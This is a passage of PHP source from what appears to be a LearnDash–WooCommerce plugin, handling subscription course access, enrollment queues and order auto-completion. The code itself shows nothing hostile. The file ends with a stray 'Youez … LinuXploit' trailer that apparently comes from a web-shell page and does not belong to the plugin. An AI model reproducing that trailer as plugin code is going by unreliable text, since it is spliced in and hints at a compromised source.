				'posts_per_page'   => -1,
				'suppress_filters' => true,
			)
		);

		$returned_groups = array();
		foreach ( $groups as $group ) {
			$returned_groups[ $group->ID ] = $group->post_title;
		}

		return $returned_groups;
	}

	/**
	 * Handle subscription status change to remove LD course access
	 *
	 * @param object          $subscription   WC_Subscription object.
	 * @param WC_Order_Item[] $products       WC order items.
	 * @param int             $customer_id    Customer ID (optional).
	 * @return void
	 */
	public static function remove_subscription_course_access( $subscription, $products = [], $customer_id = null ) {
		if ( ! apply_filters( 'ld_woocommerce_remove_subscription_course_access', true, $subscription, current_filter() ) ) {
			return;
		}

		if ( empty( $products ) ) {
			// Get products related to this order.
			$products = $subscription->get_items();
		}

		$customer_id = ! empty( $customer_id ) && is_numeric( $customer_id ) ? $customer_id : $subscription->get_user_id();

		foreach ( $products as $product ) {
			if ( ! empty( $product->get_variation_id() ) ) {
				$courses_id = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
				$groups_id  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
			} else {
				$courses_id = (array) get_post_meta( $product['product_id'], '_related_course', true );
				$groups_id  = (array) get_post_meta( $product['product_id'], '_related_group', true );
			}

			if ( $courses_id && is_array( $courses_id ) ) {
				foreach ( $courses_id as $course_id ) {
					self::update_remove_course_access( $course_id, $customer_id, $subscription->get_id() );

					foreach ( $subscription->get_related_orders() as $order_id ) {
						self::update_remove_course_access( $course_id, $customer_id, $order_id );
					}
				}
			}

			if ( $groups_id && is_array( $groups_id ) ) {
				foreach ( $groups_id as $group_id ) {
					self::update_remove_group_access( $group_id, $customer_id, $subscription->get_id() );

					foreach ( $subscription->get_related_orders() as $order_id ) {
						self::update_remove_group_access( $group_id, $customer_id, $order_id );
					}
				}
			}
		}
	}

	/**
	 * Handle subscription status change to add LD course access
	 *
	 * @param object          $subscription   WC_Subscription object.
	 * @param WC_Order_Item[] $products       WC order items.
	 * @param int             $customer_id    WC Customer ID (optional).
	 *
	 * @return void
	 */
	public static function add_subscription_course_access( $subscription, $products = [], $customer_id = null ) {
		if ( false === $subscription || ! is_a( $subscription, 'WC_Subscription' ) ) {
			return;
		}

		if ( ! apply_filters( 'ld_woocommerce_add_subscription_course_access', true, $subscription, current_filter() ) ) {
			return;
		}

		if ( empty( $products ) ) {
			// Get products related to this order.
			$products = $subscription->get_items();
		}

		$customer_id = ! empty( $customer_id ) && is_numeric( $customer_id ) ? $customer_id : $subscription->get_user_id();

		$start_date = $subscription->get_date( 'date_created' );

		$courses_count = 0;
		$groups_count  = 0;
		array_walk(
			$products,
			function( $product ) use ( &$courses_count, &$groups_count ) {
				if ( ! empty( $product->get_variation_id() ) ) {
					$courses = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
					$groups  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
				} else {
					$courses = (array) get_post_meta( $product['product_id'], '_related_course', true );
					$groups  = (array) get_post_meta( $product['product_id'], '_related_group', true );
				}

				$courses = array_filter(
					$courses,
					function( $course_id ) {
						return ! empty( $course_id ) && is_numeric( $course_id );
					}
				);

				$groups = array_filter(
					$groups,
					function( $group_id ) {
						return ! empty( $group_id ) && is_numeric( $group_id );
					}
				);

				$courses_count += count( $courses );
				$groups_count  += count( $groups );
			}
		);

		if ( ( $courses_count + $groups_count ) >= self::get_products_count_for_silent_course_enrollment() && current_filter() !== 'learndash_woocommerce_cron' && current_filter() !== 'wp_ajax_ld_wc_retroactive_access' ) {
			self::enqueue_silent_course_enrollment( array( 'subscription_id' => $subscription->get_id() ) );
		} else {
			foreach ( $products as $product ) {
				if ( ! empty( $product->get_variation_id() ) ) {
					$courses_id = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
					$groups_id  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
				} else {
					$courses_id = (array) get_post_meta( $product['product_id'], '_related_course', true );
					$groups_id  = (array) get_post_meta( $product['product_id'], '_related_group', true );
				}

				// Update access to the courses.
				if ( $courses_id && is_array( $courses_id ) ) {
					foreach ( $courses_id as $course_id ) {
						self::update_add_course_access( $course_id, $customer_id, $subscription->get_id() );

						// Replace start date to keep the drip feeding working.
						if ( apply_filters( 'learndash_woocommerce_reset_subscription_course_access_from', true, $course_id, $subscription ) ) {
							update_user_meta( $customer_id, 'course_' . $course_id . '_access_from', strtotime( $start_date ) );
						}
					}
				}

				if ( $groups_id && is_array( $groups_id ) ) {
					foreach ( $groups_id as $group_id ) {
						self::update_add_group_access( $group_id, $customer_id, $subscription->get_id() );

						// Replace start date to keep the drip feeding working.
						if ( apply_filters( 'learndash_woocommerce_reset_subscription_group_access_from', true, $group_id, $subscription ) ) {
							update_user_meta( $customer_id, 'learndash_group_enrolled_' . $group_id, strtotime( $start_date ) );
						}
					}
				}
			}
		}
	}

	/**
	 * Add subscription settings related to LearnDash
	 *
	 * @param array $settings Original settings array.
	 */
	public static function add_subscription_settings( $settings ) {
		return array_merge(
			$settings,
			[
				array(
					'name' => 'LearnDash',
					'type' => 'title',
					'desc' => __( 'WooCommerce subscription settings related to LearnDash.', 'learndash-woocommerce' ),
					'id'   => 'learndash_woocommerce_section',
				),
				array(
					'name'     => __( 'Access Removal on Expiration', 'learndash-woocommerce' ),
					'desc'     => __( 'Disable', 'learndash-woocommerce' ),
					'desc_tip' => __( 'Check the box to disable course access removal on subscription expiration. By default, course access will be revoked when a subscription expires.', 'learndash-woocommerce' ),
					'id'       => 'learndash_woocommerce_disable_access_removal_on_expiration',
					'css'      => '',
					'type'     => 'checkbox',
					'default'  => 'no',
				),
				array(
					'type' => 'sectionend',
					'id'   => 'learndash_woocommerce_section',
				),
			]
		);
	}

	/**
	 * Filter hook function to check subscription course access removal
	 *
	 * @param  bool   $remove       True to remove|false otherwise.
	 * @param  object $subscription WC_Subscription object.
	 * @param  string $filter       Current filter hook.
	 *
	 * @return bool                 Returned $remove value.
	 */
	public static function check_subscription_course_access_removal( $remove, $subscription, $filter ) {
		$backtrace = wp_debug_backtrace_summary();

		if (
			$filter === 'woocommerce_subscription_status_on-hold'
			&& (
				strpos( $backtrace, 'process_renewal' ) !== false
				|| strpos( $backtrace, 'Renewal_Order' ) !== false
			)
		) {
			return false;
		}

		return $remove;
	}

	/**
	 * Filter hook function to check subscription course access addition
	 *
	 * @param  bool   $add          True to remove|false otherwise.
	 * @param  object $subscription WC_Subscription object.
	 * @param  string $filter       Current filter hook.
	 *
	 * @return bool                 Returned $add value.
	 */
	public static function check_subscription_course_access_addition( $add, $subscription, $filter ) {
		$backtrace = wp_debug_backtrace_summary();

		if (
			$filter === 'woocommerce_subscription_status_active'
			&& (
				strpos( $backtrace, 'process_renewal' ) !== false
				|| strpos( $backtrace, 'Renewal_Order' ) !== false
			)
		) {
			return false;
		}

		return $add;
	}

	/**
	 * Remove course access when user completes billing cycle
	 *
	 * @param  object $subscription WC_Subscription object.
	 * @param  array  $last_order   Last order details.
	 */
	public static function remove_course_access_on_billing_cycle_completion( $subscription, $last_order ) {
		if ( self::is_course_access_removed_on_subscription_billing_cycle_completion( $subscription ) ) {

			$next_payment_date = $subscription->calculate_date( 'next_payment' );

			// Check if there's no next payment date.
			// See calculate_date() in class-wc-subscriptions.php.
			if ( 0 == $next_payment_date ) {
				self::remove_subscription_course_access( $subscription );
			}
		}
	}

	/**
	 * Handle course access when subscription switching happens
	 *
	 * @param  Automattic\WooCommerce\Admin\Overrides\Order $order WC order object.
	 * @param  array                                        $data  WC order data.
	 *
	 * @return void
	 */
	public static function switch_subscription( $order, $data ) {
		foreach ( $data as $subscription_id => $subscription_data ) {
			foreach ( $subscription_data['switches'] as $switch_item_id => $switch_data ) {
				$subscriptions = wcs_get_subscriptions_for_switch_order( $order );

				if ( ! empty( $switch_data['remove_line_item'] ) ) {
					$old_order = wc_get_order( wc_get_order_id_by_order_item_id( $switch_data['remove_line_item'] ) );
					if ( $old_order && is_a( $old_order, 'WC_Order' ) ) {
						foreach ( $subscriptions as $subscription ) {
							self::remove_subscription_course_access( $subscription, $old_order->get_items() );
						}
					}
				}

				if ( ! empty( $switch_data['add_line_item'] ) ) {
					self::add_subscription_course_access( $subscription, $order->get_items() );
				}
			}
		}
	}

	/**
	 * Enqueue course enrollment in database for product with many courses
	 *
	 * @param array{order_id?: int, subscription_id?: int} $args Enrollment arguments.
	 *
	 * @return void
	 */
	public static function enqueue_silent_course_enrollment( $args ) {
		$queue = get_option( 'learndash_woocommerce_silent_course_enrollment_queue', array() );
		$queue = is_array( $queue ) ? $queue : [];

		if ( ! empty( $args['order_id'] ) ) {
			$queue[ $args['order_id'] ] = $args;
		} elseif ( ! empty( $args['subscription_id'] ) ) {
			$queue[ $args['subscription_id'] ] = $args;
		}

		update_option( 'learndash_woocommerce_silent_course_enrollment_queue', $queue, false );
	}

	/**
	 * Process silent background course enrollment using cron
	 *
	 * @return void
	 */
	public static function process_silent_course_enrollment() {
		$queue = get_option( 'learndash_woocommerce_silent_course_enrollment_queue', array() );

		$queue_count = apply_filters( 'learndash_woocommerce_process_silent_course_enrollment_queue_count', 1 );

		$processed_queue = array_slice( $queue, 0, $queue_count, true );

		foreach ( $processed_queue as $id => $args ) {
			if ( ! empty( $args['order_id'] ) ) {
				self::add_course_access( $args['order_id'] );
			} elseif ( ! empty( $args['subscription_id'] ) ) {
				self::add_subscription_course_access( wcs_get_subscription( $args['subscription_id'] ) );
			}

			unset( $queue[ $id ] );
		}

		update_option( 'learndash_woocommerce_silent_course_enrollment_queue', $queue, false );
	}

	/**
	 * Check if cart contains LearnDash course or group.
	 *
	 * @return bool True if LD object found|false otherwise.
	 */
	private static function cart_contains_learndash_object(): bool {
		$ld_object_found = false;

		$wc_cart = WC()->cart;
		if ( is_a( $wc_cart, 'WC_Cart' ) ) {
			$cart_items = $wc_cart->cart_contents;
			foreach ( $cart_items as $key => $item ) {
				$courses = (array) get_post_meta( $item['data']->get_id(), '_related_course', true );
				$courses = maybe_unserialize( $courses );

				$groups = (array) get_post_meta( $item['data']->get_id(), '_related_group', true );
				$groups = maybe_unserialize( $groups );

				// Filter out invalid courses and groups first.
				$courses = array_filter(
					$courses,
					function( $course_id ) {
						$course = get_post( $course_id );

						return $course && $course->post_status == 'publish' && $course->post_type == 'sfwd-courses';
					}
				);

				$groups = array_filter(
					$groups,
					function( $group_id ) {
						$group = get_post( $group_id );

						return $group && $group->post_status == 'publish' && $group->post_type == 'groups';
					}
				);

				if ( ! empty( $courses ) ) {
					$ld_object_found = true;
				}

				if ( ! empty( $groups ) ) {
					$ld_object_found = true;
				}
			}
		}

		return $ld_object_found;
	}

	/**
	 * Force user to login when there is a LD course in cart
	 *
	 * @param  object $checkout Checkout object.
	 */
	public static function enable_signup_on_checkout( $checkout ) {
		if ( self::cart_contains_learndash_object() && ! is_user_logged_in() ) {
			self::add_front_scripts();
		}
	}

	/**
	 * Filter WooCommerce registration enabled setting.
	 *
	 * Always enable registration setting if user cart contains product(s)
	 * that are associated with LearnDash course(s) or group(s).
	 *
	 * @param bool $enabled Whether registration is enabled or not.
	 * @return bool
	 */
	public static function enable_registration( $enabled ) {
		if ( self::cart_contains_learndash_object() && ! is_user_logged_in() ) {
			$enabled = true;
		}

		return $enabled;
	}

	/**
	 * Autocomplete transaction if all cart items are course items
	 *
	 * @since 1.4.2
	 *
	 * @param int $order_id ID of the order.
	 *
	 * @return void
	 */
	public static function auto_complete_transaction( $order_id ) {
		if ( ! apply_filters( 'learndash_woocommerce_auto_complete_order', true, $order_id ) ) {
			return;
		}

		if ( ! $order_id ) {
			return;
		}

		$order = wc_get_order( $order_id );

		if (
			! $order
			|| ! is_a( $order, 'WC_Order' )
		) {
			return;
		}

		if ( ! $order->is_paid() ) {
			return;
		}

		if ( 'completed' == $order->get_status() ) {
			return;
		}

		$items          = $order->get_items();
		$payment_method = $order->get_payment_method();

		$manual_payment_methods = apply_filters(
			'learndash_woocommerce_manual_payment_methods',
			array(
				'bacs',
				'cheque',
				'cod',
			)
		);

		// If using manual payment, bail.
		if ( in_array( $payment_method, $manual_payment_methods ) ) {
			return;
		}

		$found = array();
		foreach ( $items as $item ) {
			// If variation product.
			if ( $item->get_variation_id() > 0 ) {
				$item_id = $item->get_variation_id();
				$courses = (array) get_post_meta( $item->get_variation_id(), '_related_course', true );
				$groups  = (array) get_post_meta( $item->get_variation_id(), '_related_group', true );
			} elseif ( $item->get_product_id() > 0 ) {
				// Else if normal product.
				$item_id = $item->get_product_id();
				$courses = (array) get_post_meta( $item->get_product_id(), '_related_course', true );
				$groups  = (array) get_post_meta( $item->get_product_id(), '_related_group', true );
			}

			// Filter out invalid courses and groups first.
			$courses = array_map(
				function( $course_id ) {
					$course = get_post( $course_id );

					return $course
						&& $course->post_status === 'publish'
						&& $course->post_type === 'sfwd-courses';
				},
				$courses
			);

			$groups = array_map(
				function( $group_id ) {
					$group = get_post( $group_id );

					return $group
						&& $group->post_status === 'publish'
						&& $group->post_type === 'groups';
				},
				$groups
			);

			if (
				( is_array( $courses ) && ! empty( $courses ) && ! in_array( 0, $courses ) )
				|| (
					is_array( $courses ) && count( $courses ) > 1 && in_array( 0, $courses )
					|| ( $item->is_type( 'virtual' ) || $item->is_type( 'downloadable' ) )
				)
				|| ( is_array( $groups ) && ! empty( $groups ) && ! in_array( 0, $groups ) )
				|| (
					is_array( $groups ) && count( $groups ) > 1 && in_array( 0, $groups )
					|| ( $item->is_type( 'virtual' ) || $item->is_type( 'downloadable' ) )
				)
			) {
				$found[] = $item_id;
			}
		}

		// Autocomplete transaction if all items are course.
		if ( count( $found ) == count( $items ) ) {
			$order->update_status( 'completed' );
		}
	}

	/**
	 * Remove course access count if user data is removed
	 *
	 * @param int $user_id ID of the user.
	 */
	public static function remove_access_increment_count( $user_id ) {
		delete_user_meta( $user_id, '_learndash_woocommerce_enrolled_courses_access_counter' );
	}

	/**
	 * Add course access.
	 *
	 * @since 1.0.0
	 *
	 * @param int $course_id ID of a course.
	 * @param int $user_id   ID of a user.
	 * @param int $order_id  ID of a WooCommerce order.
	 *
	 * @return void
	 */
	private static function update_add_course_access( $course_id, $user_id, $order_id ) {
		self::increment_course_access_counter( $course_id, $user_id, $order_id );

		// check if user already enrolled.
		if ( ! self::is_user_enrolled_to_course( $user_id, $course_id ) ) {
			ld_update_course_access( $user_id, $course_id );

			self::update_course_access_from_with_order_data( (int) $course_id, (int) $user_id, (int) $order_id );
		} elseif (
			self::is_user_enrolled_to_course( $user_id, $course_id )
			&& ld_course_access_expired( $course_id, $user_id )
		) {
			// Remove access first.
			// @todo: only remove access counter from old WC orders.
			self::reset_course_access_counter( $course_id, $user_id );
			ld_update_course_access( $user_id, $course_id, $remove = true );

			// Re-enroll to get new access from value.
			self::increment_course_access_counter( $course_id, $user_id, $order_id );
			ld_update_course_access( $user_id, $course_id );
		}
	}

	/**
	 * Update course access from value with order data.
	 *
	 * @since 1.9.8
	 *
	 * @param int $course_id LearnDash course ID.
	 * @param int $user_id   WordPress user ID.
	 * @param int $order_id  WooCommerce user ID.
	 *
	 * @return bool True if successful, false otherwise.
	 */
	private static function update_course_access_from_with_order_data( int $course_id, int $user_id, int $order_id ): bool {
		$product = Product::find( $course_id );

		if ( ! $product ) {
			return false;
		}

		$start_time = $product->get_start_date( $user_id );

		if ( ! empty( $start_time ) ) {
			return false;
		}

		$order = wc_get_order( $order_id );

		if ( ! $order instanceof WC_Order ) {
			return false;
		}

		$order_date = $order->get_date_paid();

		if ( ! $order_date ) {
			return false;
		}

		$order_time = $order_date->date( 'Y-m-d H:i:s' );

		return ld_course_access_from_update( $course_id, $user_id, $order_time );
	}

	/**
	 * Remove course access
	 *
	 * @since 1.5.0
	 *
	 * @param int $course_id ID of a course.
	 * @param int $user_id   ID of a user.
	 * @param int $order_id  ID of an order.
	 *
	 * @return void
	 */
	private static function update_remove_course_access( $course_id, $user_id, $order_id ) {
		$courses = self::decrement_course_access_counter( $course_id, $user_id, $order_id );

		if ( ! isset( $courses[ $course_id ] ) || empty( $courses[ $course_id ] ) ) {
			ld_update_course_access( $user_id, $course_id, $remove = true );
		}
	}

	/**
	 * Add group access
	 *
	 * @since 1.8.0
	 *
	 * @param  int $group_id LearnDash group ID.
	 * @param  int $user_id  WP_User ID.
	 * @param  int $order_id WC order ID.
	 *
	 * @return void
	 */
	private static function update_add_group_access( $group_id, $user_id, $order_id ) {
		self::increment_course_access_counter( $group_id, $user_id, $order_id );

		if ( ! learndash_is_user_in_group( $user_id, $group_id ) ) {
			ld_update_group_access( $user_id, $group_id );
		}
	}

	/**
	 * Remove group access
	 *
	 * @since 1.8.0
	 *
	 * @param int $group_id LearnDash group ID.
	 * @param int $user_id  WP_User ID.
	 * @param int $order_id WC order ID.
	 *
	 * @return void
	 */
	private static function update_remove_group_access( $group_id, $user_id, $order_id ) {
		$access = self::decrement_course_access_counter( $group_id, $user_id, $order_id );

		if ( ! isset( $access[ $group_id ] ) || empty( $access[ $group_id ] ) ) {
			ld_update_group_access( $user_id, $group_id, $remove = true );
		}
	}

	/**
	 * Check if a user is already enrolled to a course
	 *
	 * @since 1.5.0
	 *
	 * @param integer $user_id   User ID.
	 * @param integer $course_id Course ID.
	 *
	 * @return boolean            True if enrolled|false otherwise
	 */
	private static function is_user_enrolled_to_course( $user_id = 0, $course_id = 0 ) {
		$enrolled_courses = learndash_user_get_enrolled_courses( $user_id );

		if ( is_array( $enrolled_courses ) && in_array( $course_id, $enrolled_courses ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Get all LearnDash courses
	 *
	 * @return object LearnDash course
	 */
	private static function get_learndash_courses() {
		global $wpdb;
		$query = "SELECT posts.* FROM $wpdb->posts posts WHERE posts.post_type = 'sfwd-courses' AND posts.post_status = 'publish' ORDER BY posts.post_title";

		return $wpdb->get_results( $query, OBJECT );
	}

	/**
	 * Add enrolled course record to a user
	 *
	 * @param int $course_id ID of a course.
	 * @param int $user_id   ID of a user.
	 * @param int $order_id  ID of an order.
	 */
	private static function increment_course_access_counter( $course_id, $user_id, $order_id ) {
		$courses = self::get_courses_access_counter( $user_id );

		if ( isset( $courses[ $course_id ] ) && ! is_array( $courses[ $course_id ] ) ) {
			$courses[ $course_id ] = array();
		}

		if (
			! isset( $courses[ $course_id ] )
			|| (
				isset( $courses[ $course_id ] )
				&& array_search( $order_id, $courses[ $course_id ] ) === false
			)
		) {
			// Add order ID to course access counter.
			$courses[ $course_id ][] = $order_id;
		}

		update_user_meta( $user_id, '_learndash_woocommerce_enrolled_courses_access_counter', $courses );

		return $courses;
	}

	/**
	 * Delete enrolled course record from a user
	 *
	 * @param int $course_id ID of a course.
	 * @param int $user_id   ID of a user.
	 * @param int $order_id  ID of an order.
	 */
	private static function decrement_course_access_counter( $course_id, $user_id, $order_id ) {
		$courses = self::get_courses_access_counter( $user_id );

		if ( isset( $courses[ $course_id ] ) && ! is_array( $courses[ $course_id ] ) ) {
			$courses[ $course_id ] = array();
		}

		if ( isset( $courses[ $course_id ] ) ) {
			$keys = array_keys( $courses[ $course_id ], $order_id );
			if ( is_array( $keys ) ) {
				foreach ( $keys as $key ) {
					unset( $courses[ $course_id ][ $key ] );
				}
			}
		}

		update_user_meta( $user_id, '_learndash_woocommerce_enrolled_courses_access_counter', $courses );

		return $courses;
	}

	/**
	 * Reset course access counter
	 *
	 * @param  int $course_id Course ID.
	 * @param  int $user_id   User ID.
	 *
	 * @return void
	 */
	private static function reset_course_access_counter( $course_id, $user_id ) {
		$courses = self::get_courses_access_counter( $user_id );

		if ( isset( $courses[ $course_id ] ) ) {
			unset( $courses[ $course_id ] );
		}

		update_user_meta( $user_id, '_learndash_woocommerce_enrolled_courses_access_counter', $courses );
	}

	/**
	 * Get user enrolled course access counter
	 *
	 * @param  int $user_id ID of a user.
	 * @return array        Course access counter array
	 */
	private static function get_courses_access_counter( $user_id ) {
		$courses = get_user_meta( $user_id, '_learndash_woocommerce_enrolled_courses_access_counter', true );

		if ( ! empty( $courses ) ) {
			$courses = maybe_unserialize( $courses );
		} else {
			$courses = array();
		}

		return $courses;
	}

	/**
	 * Get setting if course access should be removed when user completing subscription payment billing cycle
	 *
	 * @param  object $subscription WC_Subscription object.
	 * @return boolean
	 */
	public static function is_course_access_removed_on_subscription_billing_cycle_completion( $subscription ) {
		return apply_filters( 'learndash_woocommerce_remove_course_access_on_subscription_billing_cycle_completion', false, $subscription );
	}

	/**
	 * Output a select input box.
	 *
	 * @param array $field Input field array data.
	 */
	public static function woocommerce_wp_select_multiple( $field ) {
		global $thepostid, $post;
		?>

		<script type="text/javascript">
			jQuery( document ).ready( function( $ ) {
				$( '.select2.regular-width' ).show().select2({
					closeOnSelect: false,
					allowClear: true,
					scrollAfterSelect: false,
					placeholder: ''
				});

				$( '.select2.full-width' ).show().select2({
					width: '100%',
					closeOnSelect: false,
					allowClear: true,
					scrollAfterSelect: false,
					placeholder: ''
				});
			});
		</script>

		<?php

		$thepostid              = empty( $thepostid ) ? $post->ID : $thepostid;
		$field['class']         = isset( $field['class'] ) ? $field['class'] : 'select short';
		$field['style']         = isset( $field['style'] ) ? $field['style'] : '';
		$field['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : '';
		$field['value']         = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
		$field['name']          = isset( $field['name'] ) ? $field['name'] : $field['id'];
		$field['desc_tip']      = isset( $field['desc_tip'] ) ? $field['desc_tip'] : false;

		// Custom attribute handling.
		$custom_attributes = array();

		if ( ! empty( $field['custom_attributes'] ) && is_array( $field['custom_attributes'] ) ) {

			foreach ( $field['custom_attributes'] as $attribute => $value ) {
				$custom_attributes[] = esc_attr( $attribute ) . '="' . esc_attr( $value ) . '"';
			}
		}

		echo '<p class="form-field ' . esc_attr( $field['id'] ) . '_field ' . esc_attr( $field['wrapper_class'] ) . '">
			<label for="' . esc_attr( $field['id'] ) . '">' . wp_kses_post( $field['label'] ) . '</label>';

		if ( ! empty( $field['description'] ) && false !== $field['desc_tip'] ) {
			echo wc_help_tip( $field['description'] );
		}

		echo '<select id="' . esc_attr( $field['id'] ) . '" name="' . esc_attr( $field['name'] ) . '" class="' . esc_attr( $field['class'] ) . '" style="' . esc_attr( $field['style'] ) . '" ' . implode( ' ', $custom_attributes ) . ' multiple="multiple">';

		foreach ( $field['options'] as $key => $value ) {
			$selected = in_array( $key, $field['value'] ) ? 'selected="selected"' : '';
			echo '<option value="' . esc_attr( $key ) . '" ' . $selected . '>' . esc_html( $value ) . '</option>';
		}

		echo '</select> ';

		if ( ! empty( $field['description'] ) && false === $field['desc_tip'] ) {
			echo '<span class="description">' . wp_kses_post( $field['description'] ) . '</span>';
		}

		echo '</p>';
	}

	/**
	 * Get product count for silent course enrollment
	 *
	 * @since 1.7.0
	 */
	public static function get_products_count_for_silent_course_enrollment() {
		return apply_filters( 'learndash_woocommerce_products_count_for_silent_course_enrollment', 5 );
	}

	/**
	 * Output a custom error log file
	 *
	 * @param  mixed $message Message.
	 */
	public static function log( $message = '' ) {
		$file = LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'error.log';

		if ( ! file_exists( $file ) ) {
			$handle = fopen( $file, 'a+' );
			fclose( $handle );
		}

		error_log( print_r( $message, true ), 3, $file );
	}
}
new Learndash_WooCommerce();


add_action( 'init', 'learndash_woocommerce_set_course_as_virtual' );
/**
 * Establish the Course Product type that is virtual, and sold individually
 */
function learndash_woocommerce_set_course_as_virtual() {
	if ( class_exists( 'WC_Product' ) ) {
		/**
		 * WP_Product_Course class
		 */
		class WC_Product_Course extends WC_Product {

			/**
			 * Initialize course product.
			 *
			 * @param mixed $product WC Product data.
			 */
			public function __construct( $product ) {
				parent::__construct( $product );

				$this->supports = array(
					'ajax_add_to_cart',
				);
				$this->set_virtual( true );
				$this->set_sold_individually( true );
			}

			/**
			 * Get custom post type type
			 *
			 * @return string
			 */
			public function get_type() {
				return 'course';
			}

			/**
			 * Get the add to cart button text
			 *
			 * @return string
			 */
			public function add_to_cart_text() {
				$text = $this->is_purchasable() ? __( 'Add to cart', 'learndash-woocommerce' ) : __( 'Read More', 'learndash-woocommerce' );
				return apply_filters( 'woocommerce_product_add_to_cart_text', $text, $this );
			}

			/**
			 * Set the add to cart button URL used on the /shop/ page
			 *
			 * @return string
			 * @since 1.3.1
			 */
			public function add_to_cart_url() {
				// Code copied from WP Simple Product function of same name.
				$url = $this->is_purchasable() && $this->is_in_stock() ? remove_query_arg( 'added-to-cart', add_query_arg( 'add-to-cart', $this->get_id() ) ) : get_permalink( $this->get_id() );
				return apply_filters( 'woocommerce_product_add_to_cart_url', $url, $this );
			}
		}
	}
}


/**
 * Add To Cart template, use the simple template
 */
add_action( 'woocommerce_course_add_to_cart', 'woocommerce_simple_add_to_cart', 30 );

Youez - 2016 - github.com/yon3zu
LinuXploit